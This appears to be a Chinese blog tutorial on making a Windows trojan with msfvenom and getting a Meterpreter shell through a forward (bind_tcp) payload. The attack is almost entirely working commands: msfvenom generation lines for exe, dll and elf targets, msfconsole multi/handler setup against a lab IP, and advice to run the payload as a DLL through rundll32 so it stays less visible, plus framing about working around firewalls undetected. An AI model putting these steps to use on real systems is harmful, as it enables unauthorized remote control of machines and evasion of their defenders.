msfconsole之制作windows木马并成功获取shell(正向payload)

  • 使用场景:
    场景还是得具体看,⽐如⽬标机器不给其他除特定端⼝外的端⼝出站,那就 只能能正向;还有⽐如 有⼀种情 况,⽬标处于深层⽹络,不能直接连通外⽹,也不能通过其他机器连通,因 为其他机器 防⽕墙都开着,为避免在有防⽕墙监控的情况下关闭防⽕墙⽽被发现,也只能⽤正向的⻢,然后通过开着防⽕墙的机器来进⾏端⼝的转发达到穿透的⽬的。

        生成exe文件

  • msfvenom ⽣成正向 Paylaod
    msfvenom -p windows/meterpreter/bind_tcp LPORT= -f exe >/root/bind_xx.exe
    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT= -f exe >/root/bind_xx.exe
    msfvenom -p windows/meterpreter/bind_tcp LPORT= -f dll >/root/bind_xx.dll
    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT= -f dll >/root/bind_xx.dll
    msfvenom -p linux/x64/meterpreter/bind_tcp LPORT= -f elf >/root/bind_xx.elf
    msfvenom -p linux/x86/meterpreter/bind_tcp LPORT= -f elf >/root/bind_xx.elf
    根据靶机系统选择相应的命令,我的靶机用的是win10 x64的系统,所以我选择这条命令:
    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe >bind.exe
    端口(lport)随便设置就行
    将生成的文件在靶机中打开,利用netstat -ano查看打开的端口
    可以看到目标端口已经打开
    接下来打开msfconsole对虚拟机进⾏连接(前提是对⽅防火墙是关闭了的)
    相关命令:
            msfconsole
            use  exploit/multi/handler        //进入exploit模块
            set payload windows/x64/meterpreter/bind_tcp        //生成exe时相同的协议
            show options        
            set lport 5555        //自己设置的端口
            set rhost 192.168.5.144        //靶机的ip
            run        //运行         
        
        成功获取shell权限:
        
        这个时候就反弹回来了⼀个Meterpreter 会话回来!
        同时,靶机win10 那边就没有对 5555 端⼝进⾏连接了!
                
        
因为⽤了 5555 端⼝启⽤监听后,只会接收⼀次数据,⽆论成功或者失败,它 都不会再监听了! 也就是
说,如果连接失败了,那么就再运⾏然后再连接⼀次!
这是 Metasploit ⽣成正向的过程!
尽量不要⽣成 exe
在真实环境中,如果使⽤ msfvenom ⽣成了⼀个正向 Paylaod 格式是 exe ,那么在进程中就会暴露!
⼀般⽤就⽤ dll
要运⾏ dll 必须使⽤ rundll32.exe start:
rundll32.exe 文件在 C:\Windows\System32\rundll32.exe:
命令:rundll32.exe C:\Users\xiao\Desktop\bind.dll,start
使用方法就是 rundll32.exe xxx.dll,Start
Meterpreter 这边也是反弹了⼀个 shell 回来
这就是正向连接
  • 14
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值